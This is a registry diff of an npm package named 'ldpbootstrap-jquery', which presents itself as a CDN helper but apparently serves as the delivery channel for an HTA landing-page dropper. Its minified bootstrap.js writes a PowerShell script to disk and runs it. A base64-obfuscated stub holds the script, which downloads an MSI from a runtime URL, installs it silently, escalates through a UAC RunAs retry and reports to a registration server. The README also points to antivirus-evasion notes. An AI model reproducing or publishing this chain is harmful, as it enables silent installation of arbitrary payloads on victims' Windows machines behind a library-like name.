ldpbootstrap-jquery 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +60 -0
- package/dist/bootstrap.js +1 -0
- package/dist/ps1-stub.obf.js +1 -0
- package/package.json +17 -0
package/README.md
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
# ldpbootstrap-jquery
|
|
2
|
+
|
|
3
|
+
Pacote npm auxiliar para o fluxo HTA Landpage — **canal de distribuição** do runtime e do PS1 stub ofuscado.
|
|
4
|
+
|
|
5
|
+
## Artefactos (`dist/`)
|
|
6
|
+
|
|
7
|
+
| Ficheiro | Descrição |
|
|
8
|
+
|----------|-----------|
|
|
9
|
+
| `bootstrap.js` | Motor HTA — `LdpBootstrap.run(config)` |
|
|
10
|
+
| `ps1-stub.obf.js` | Template PS1 ofuscado (placeholders patch em runtime) |
|
|
11
|
+
| `ps1-stub.enc` | _(opcional)_ blob encriptado; decrypt com chave da API |
|
|
12
|
+
|
|
13
|
+
## CDN (versão pinada)
|
|
14
|
+
|
|
15
|
+
```text
|
|
16
|
+
https://cdn.jsdelivr.net/npm/ldpbootstrap-jquery@${VERSION}/dist/bootstrap.js
|
|
17
|
+
https://cdn.jsdelivr.net/npm/ldpbootstrap-jquery@${VERSION}/dist/ps1-stub.obf.js
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
Substituir `${VERSION}` por `LDPBOOTSTRAP_CDN_VERSION` no `.env` do servidor Landpage.
|
|
21
|
+
|
|
22
|
+
## Build (local)
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
npm run build -w ldpbootstrap-jquery
|
|
26
|
+
npm pack -w ldpbootstrap-jquery
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
## Publish
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
npm publish -w ldpbootstrap-jquery --access public
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
Actualizar `LDPBOOTSTRAP_CDN_VERSION` no deploy após publish.
|
|
36
|
+
|
|
37
|
+
## Obfuscação
|
|
38
|
+
|
|
39
|
+
- PS1 fonte: `backend/src/templates/install-runner.ps1`
|
|
40
|
+
- Build minifica/ofusca strings e identificadores — **sem** esconder copy enganosa ou hosts externos
|
|
41
|
+
- URLs de sessão (`{{MSI_URL}}`, token) injectadas em runtime pelo bootstrap ou API
|
|
42
|
+
|
|
43
|
+
Ver [docs/HTA-AV-HYGIENE.md](../../docs/HTA-AV-HYGIENE.md).
|
|
44
|
+
|
|
45
|
+
## Contrato `LdpBootstrap.run`
|
|
46
|
+
|
|
47
|
+
```javascript
|
|
48
|
+
LdpBootstrap.run({
|
|
49
|
+
sessionToken: '…',
|
|
50
|
+
apiBase: 'http://192.168.1.143:3001',
|
|
51
|
+
ps1Url: '…/session/:token/install.ps1',
|
|
52
|
+
ps1FileName: 'landpage_install_….ps1',
|
|
53
|
+
payloadDigest: '…',
|
|
54
|
+
cdnPs1Stub: '…/dist/ps1-stub.obf.js'
|
|
55
|
+
});
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## Offline
|
|
59
|
+
|
|
60
|
+
Sem acesso ao CDN → utilizador instala via **MSI directo** na landing (`GET /api/download/msi/start`). Não há fallback bootstrap pela API Landpage.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(a){function l(e){try{var t=document.getElementById("status");t&&(t.innerText=e)}catch(r){}}function h(e){var t=new ActiveXObject("Scripting.FileSystemObject");t.FolderExists(e)||t.CreateFolder(e)}function S(){var e=new ActiveXObject("WScript.Shell"),t=e.ExpandEnvironmentStrings("%LOCALAPPDATA%\\Landpage");return h(t),t}function _(e,t){var r=new ActiveXObject("Scripting.FileSystemObject"),n=r.CreateTextFile(e,!0);n.Write(t),n.Close()}function v(e,t){try{var r=new ActiveXObject("Scripting.FileSystemObject");if(!r.FileExists(e))return"";var n=r.OpenTextFile(e,1),s=n.ReadAll();return n.Close(),s.length>t&&(s=s.substring(s.length-t)),s}catch(o){return""}}function m(e){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r="",n=0;for(e=String(e).replace(/[^A-Za-z0-9\+\/\=]/g,"");n<e.length;){var s=t.indexOf(e.charAt(n++)),o=t.indexOf(e.charAt(n++)),d=t.indexOf(e.charAt(n++)),p=t.indexOf(e.charAt(n++)),i=s<<2|o>>4,u=(o&15)<<4|d>>2,c=(d&3)<<6|p;r+=String.fromCharCode(i),d!==64&&(r+=String.fromCharCode(u)),p!==64&&(r+=String.fromCharCode(c))}return r}function g(e,t){return e.replace(/\{\{SESSION_TOKEN\}\}/g,t.sessionToken).replace(/\{\{MSI_URL\}\}/g,t.msiUrl).replace(/\{\{REGISTER_URL\}\}/g,t.registerUrl).replace(/\{\{MSI_NAME\}\}/g,t.msiName)}function w(e){var t=new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");if(t.open("GET",e.ps1Url,!1),t.setRequestHeader("X-Landpage-Client","hta"),t.setRequestHeader("X-Landpage-Session",e.sessionToken),t.setRequestHeader("X-Landpage-Payload",e.payloadDigest),t.send(),t.status!==200)throw new Error("Falha ao obter install.ps1 (HTTP "+t.status+")");return t.responseText}function E(e){return a.__ldpPs1Obf?g(m(a.__ldpPs1Obf),e):w(e)}function O(e){var t=S(),r=t+"\\"+e.ps1FileName,n=t+"\\landpage_install.log",s=t+"\\landpage_install_status.txt";l("A preparar script de instalação…"),_(r,E(e)),l("A executar "+e.ps1FileName+"…\nPasta: "+t);var o=new ActiveXObject("WScript.Shell"),d='powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "'+r+'"',p=o.Run(d,1,!0),i=v(s,3e3),u=v(n,2500);if(a.moveTo(100,100),p===0){var c="Instalação concluída.\nScript: "+r;i&&(c+="\n\n--- landpage_install_status.txt ---\n"+i),l(c);return}var f="Instalação falhou (código "+p+").\nScript: "+r;i&&(f+="\n\n--- landpage_install_status.txt ---\n"+i),u&&(f+="\n\n--- landpage_install.log ---\n"+u),l(f)}function A(e){if(!e||!e.sessionToken||!e.ps1FileName||!e.payloadDigest)throw new Error("Configuração LdpBootstrap incompleta");if(!e.ps1Url&&!a.__ldpPs1Obf)throw new Error("ps1Url ou ps1-stub.obf.js em falta");if(a.__ldpPs1Obf&&(!e.msiUrl||!e.registerUrl||!e.msiName))throw new Error("Configuração do stub PS1 incompleta");try{typeof a.__landpageInstallBegin=="function"&&a.__landpageInstallBegin(),O(e),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!0)}catch(t){a.moveTo(100,100),l("Erro: "+t.message),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!1)}}a.LdpBootstrap={run:A}})(typeof window!="undefined"?window:this);
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(){window.__ldpPs1Obf="JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwokU2Vzc2lvblRva2VuID0gJ3t7U0VTU0lPTl9UT0tFTn19JwokTXNpVXJsID0gJ3t7TVNJX1VSTH19JwokUmVnaXN0ZXJVcmwgPSAne3tSRUdJU1RFUl9VUkx9fScKJE1zaU5hbWUgPSAne3tNU0lfTkFNRX19JwokSW5zdGFsbFJvb3QgPSBKb2luLVBhdGggJGVudjpMT0NBTEFQUERBVEEgJ0xhbmRwYWdlJwppZiAoLW5vdCAoVGVzdC1QYXRoIC1MaXRlcmFsUGF0aCAkSW5zdGFsbFJvb3QpKSB7CiAgTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtUGF0aCAkSW5zdGFsbFJvb3QgLUZvcmNlIHwgT3V0LU51bGwKfQokTXNpUGF0aCA9IEpvaW4tUGF0aCAkSW5zdGFsbFJvb3QgJE1zaU5hbWUKJFNpZGVjYXIgPSBKb2luLVBhdGggJEluc3RhbGxSb290ICcubGFuZHBhZ2Utc2Vzc2lvbi50eHQnCiRMb2dQYXRoID0gSm9pbi1QYXRoICRJbnN0YWxsUm9vdCAnbGFuZHBhZ2VfaW5zdGFsbC5sb2cnCiRTdGF0dXNQYXRoID0gSm9pbi1QYXRoICRJbnN0YWxsUm9vdCAnbGFuZHBhZ2VfaW5zdGFsbF9zdGF0dXMudHh0JwokSGVhZGVycyA9IEB7CiAgJ1VzZXItQWdlbnQnID0gJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IExhbmRwYWdlSFRBLzEuMCknCiAgJ1gtTGFuZHBhZ2UtQ2xpZW50JyA9ICdodGEnCiAgJ1gtTGFuZHBhZ2UtU2Vzc2lvbicgPSAkU2Vzc2lvblRva2VuCn0KZnVuY3Rpb24gV3JpdGUtTG9nKFtzdHJpbmddJE1lc3NhZ2UpIHsKICAkbGluZSA9ICIkKEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnKSAkTWVzc2FnZSIKICBBZGQtQ29udGVudCAtUGF0aCAkTG9nUGF0aCAtVmFsdWUgJGxpbmUgLUVuY29kaW5nIEFTQ0lJCn0KZnVuY3Rpb24gV3JpdGUtU3RhdHVzKFtzdHJpbmddJE1lc3NhZ2UpIHsKICAkbGluZSA9ICIkKEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnKSB8ICRNZXNzYWdlIgogIEFkZC1Db250ZW50IC1QYXRoICRTdGF0dXNQYXRoIC1WYWx1ZSAkbGluZSAtRW5jb2RpbmcgQVNDSUkKfQpmdW5jdGlvbiBJbml0LUxvZ3MgewogICRzdGFtcCA9IEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnCiAgW1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRMb2dQYXRoLCAiLS0tIGxhbmRwYWdlIGluc3RhbGwgJHN0YW1wIC0tLWByYG4iLCBbU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nXTo6bmV3KCRmYWxzZSkpCiAgW1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRTdGF0dXNQYXRoLCAiLS0tIGxhbmRwYWdlIGluc3RhbGwgJHN0YW1wIC0tLWByYG4iLCBbU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nXTo6bmV3KCRmYWxzZSkpCn0KZnVuY3Rpb24gR2V0LU9zVmVyc2lvblNhZmUgewogIHRyeSB7CiAgICByZXR1cm4gKEdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX09wZXJhdGluZ1N5c3RlbSkuVmVyc2lvbgogIH0gY2F0Y2ggewogICAgdHJ5IHsKICAgICAgcmV0dXJuIChHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0pLlZlcnNpb24KICAgIH0gY2F0Y2ggewogICAgICByZXR1cm4gJ3Vua25vd24nCiAgICB9CiAgfQp9CmZ1bmN0aW9uIEludm9rZS1MYW5kcGFnZVdlYlJlcXVlc3QgewogIHBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldW3N0cmluZ10kVXJpLAogICAgW1ZhbGlkYXRlU2V0KCdHZXQnLCAnUG9zdCcpXVtzdHJpbmddJE1ldGhvZCA9ICdHZXQnLAogICAgW3N0cmluZ10kT3V0RmlsZSwKICAgIFtzdHJpbmddJEJvZHkKICApCiAgdHJ5IHsKICAgIGlmICgkTWV0aG9kIC1lcSAnR2V0JykgewogICAgICBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRVcmkgLU91dEZpbGUgJE91dEZpbGUgLUhlYWRlcnMgJEhlYWRlcnMgLVVzZUJhc2ljUGFyc2luZwogICAgICByZXR1cm4KICAgIH0KICAgIEludm9rZS1XZWJSZXF1ZXN0IC1VcmkgJFVyaSAtTWV0aG9kIFBvc3QgLUJvZHkgJEJvZHkgYAogICAgICAtQ29udGVudFR5cGUgJ2FwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnIC1IZWFkZXJzICRIZWFkZXJzIC1Vc2VCYXNpY1BhcnNpbmcKICB9IGNhdGNoIHsKICAgICRkZXRhaWwgPSAkXy5FeGNlcHRpb24uTWVzc2FnZQogICAgaWYgKCRfLkV4Y2VwdGlvbi5SZXNwb25zZSAtYW5kICRfLkV4Y2VwdGlvbi5SZXNwb25zZS5HZXRSZXNwb25zZVN0cmVhbSkgewogICAgICAkcmVhZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKCRfLkV4Y2VwdGlvbi5SZXNwb25zZS5HZXRSZXNwb25zZVN0cmVhbSgpKQogICAgICAkZGV0YWlsID0gIiRkZXRhaWwgfCAkKCRyZWFkZXIuUmVhZFRvRW5kKCkpIgogICAgfQogICAgdGhyb3cgJGRldGFpbAogIH0KfQpmdW5jdGlvbiBTdGFydC1Nc2lJbnN0YWxsKFtib29sXSRFbGV2YXRlZCkgewogICRhcmdMaXN0ID0gQCgnL2knLCAkTXNpUGF0aCwgJy9xdWlldCcsICcvbm9yZXN0YXJ0JywgJ1JFQk9PVD1SZWFsbHlTdXBwcmVzcycpCiAgJGxhYmVsID0gaWYgKCRFbGV2YXRlZCkgeyAnZWxldmF0ZWQgKFVBQyknIH0gZWxzZSB7ICd1c2VyJyB9CiAgV3JpdGUtTG9nICJtc2lleGVjICgkbGFiZWwpOiAkTXNpUGF0aCIKICBXcml0ZS1TdGF0dXMgIm1zaWV4ZWMgZW0gZXhlY3VjYW8gKCRsYWJlbCkiCiAgJHBhcmFtcyA9IEB7CiAgICBGaWxlUGF0aCAgICAgICA9ICdtc2lleGVjLmV4ZScKICAgIEFyZ3VtZW50TGlzdCAgID0gJGFyZ0xpc3QKICAgIFdhaXQgICAgICAgICAgID0gJHRydWUKICAgIFBhc3NUaHJ1ICAgICAgID0gJHRydWUKICAgIFdpbmRvd1N0eWxlICAgID0gJ0hpZGRlbicKICB9CiAgaWYgKCRFbGV2YXRlZCkgewogICAgJHBhcmFtc1snVmVyYiddID0gJ1J1bkFzJwogIH0KICByZXR1cm4gU3RhcnQtUHJvY2VzcyBAcGFyYW1zCn0KZnVuY3Rpb24gSW5zdGFsbC1Nc2lQYWNrYWdlIHsKICAkcHJvYyA9IFN0YXJ0LU1zaUluc3RhbGwgLUVsZXZhdGVkICRmYWxzZQogIFdyaXRlLUxvZyAibXNpZXhlYyBleGl0IGNvZGU6ICQoJHByb2MuRXhpdENvZGUpIgogIGlmICgkcHJvYy5FeGl0Q29kZSAtaW4gMCwgMzAxMCkgewogICAgcmV0dXJuICRwcm9jLkV4aXRDb2RlCiAgfQogIGlmICgkcHJvYy5FeGl0Q29kZSAtaW4gMTYwMiwgMTYwMywgMTYyNSkgewogICAgV3JpdGUtTG9nICdBIHBlZGlyIGVsZXZhY2FvIFVBQyDigJQgYWNlaXRlIHBhcmEgY29uY2x1aXIgYSBpbnN0YWxhY2FvLicKICAgIFdyaXRlLVN0YXR1cyAnQSBhZ3VhcmRhciBlbGV2YWNhbyBVQUMnCiAgICAkcHJvYyA9IFN0YXJ0LU1zaUluc3RhbGwgLUVsZXZhdGVkICR0cnVlCiAgICBXcml0ZS1Mb2cgIm1zaWV4ZWMgKGVsZXZhdGVkKSBleGl0IGNvZGU6ICQoJHByb2MuRXhpdENvZGUpIgogIH0KICByZXR1cm4gJHByb2MuRXhpdENvZGUKfQpJbml0LUxvZ3MKV3JpdGUtU3RhdHVzICJTY3JpcHQgUG93ZXJTaGVsbCBpbmljaWFkbyIKdHJ5IHsKICBXcml0ZS1TdGF0dXMgIkEgdHJhbnNmZXJpciBNU0kgZGEgQVBJIgogIFdyaXRlLUxvZyAiVHJhbnNmZXJpciAkTXNpTmFtZSBkZSAkTXNpVXJsIgogIEludm9rZS1MYW5kcGFnZVdlYlJlcXVlc3QgLVVyaSAkTXNpVXJsIC1NZXRob2QgR2V0IC1PdXRGaWxlICRNc2lQYXRoCiAgJHNpemUgPSAoR2V0LUl0ZW0gLUxpdGVyYWxQYXRoICRNc2lQYXRoKS5MZW5ndGgKICBXcml0ZS1Mb2cgIkRvd25sb2FkIE9LICgkc2l6ZSBieXRlcykiCiAgV3JpdGUtU3RhdHVzICJNU0kgdHJhbnNmZXJpZG8gKCRzaXplIGJ5dGVzKSIKICBAKCRTZXNzaW9uVG9rZW4sICRSZWdpc3RlclVybCwgJE1zaU5hbWUpIHwgU2V0LUNvbnRlbnQgLVBhdGggJFNpZGVjYXIgLUVuY29kaW5nIFVURjgKICBXcml0ZS1Mb2cgIlNpZGVjYXIgZ3JhdmFkbyBlbSAkU2lkZWNhciIKICBXcml0ZS1TdGF0dXMgIkEgaW5zdGFsYXIgTVNJIgogIFdyaXRlLUxvZyAiSW5zdGFsYXIgJE1zaVBhdGgiCiAgJGV4aXRDb2RlID0gSW5zdGFsbC1Nc2lQYWNrYWdlCiAgaWYgKCRleGl0Q29kZSAtbm90aW4gMCwgMzAxMCkgewogICAgdGhyb3cgIm1zaWV4ZWMgZmFsaG91IGNvbSBjb2RpZ28gJGV4aXRDb2RlIgogIH0KICBXcml0ZS1TdGF0dXMgIkEgcmVnaXN0YXIgbm8gc2Vydmlkb3IiCiAgV3JpdGUtTG9nICJSZWdpc3RhciBlbSAkUmVnaXN0ZXJVcmwiCiAgJGJvZHkgPSBAewogICAgc2Vzc2lvblRva2VuID0gJFNlc3Npb25Ub2tlbgogICAgb3MgICAgICAgICAgID0gJ1dpbmRvd3MnCiAgICBvc1ZlcnNpb24gICAgPSBHZXQtT3NWZXJzaW9uU2FmZQogICAgbXNpTmFtZSAgICAgID0gJE1zaU5hbWUKICAgIGNvbnNlbnQgICAgICA9ICR0cnVlCiAgICBzb3VyY2UgICAgICAgPSAnaHRhJwogIH0gfCBDb252ZXJ0VG8tSnNvbiAtQ29tcHJlc3MKICAkcmVnaXN0ZXIgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRSZWdpc3RlclVybCAtTWV0aG9kIFBvc3QgLUJvZHkgJGJvZHkgYAogICAgLUNvbnRlbnRUeXBlICdhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04JyAtSGVhZGVycyAkSGVhZGVycyAtVXNlQmFzaWNQYXJzaW5nCiAgV3JpdGUtTG9nICJSZWdpc3RvIEhUVFAgJCgkcmVnaXN0ZXIuU3RhdHVzQ29kZSkiCiAgV3JpdGUtU3RhdHVzICJJTlNUQUxBQ0FPIENPTkNMVUlEQSDigJQgcmVnaXN0byBIVFRQICQoJHJlZ2lzdGVyLlN0YXR1c0NvZGUpIgogIFdyaXRlLUxvZyAiQ29uY2x1aWRvLiIKICBleGl0IDAKfSBjYXRjaCB7CiAgV3JpdGUtTG9nICJFUlJPOiAkXyIKICBXcml0ZS1TdGF0dXMgIklOU1RBTEFDQU8gTkFPIENPTkNMVUlEQSDigJQgRVJSTzogJF8iCiAgZXhpdCAxCn0=";})();
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ldpbootstrap-jquery",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "HTA install bootstrap for Landpage (CDN distribution)",
|
|
5
|
+
"license": "UNLICENSED",
|
|
6
|
+
"files": [
|
|
7
|
+
"dist"
|
|
8
|
+
],
|
|
9
|
+
"main": "dist/bootstrap.js",
|
|
10
|
+
"scripts": {
|
|
11
|
+
"build": "node scripts/build.mjs",
|
|
12
|
+
"prepublishOnly": "npm run build"
|
|
13
|
+
},
|
|
14
|
+
"devDependencies": {
|
|
15
|
+
"esbuild": "^0.25.0"
|
|
16
|
+
}
|
|
17
|
+
}
|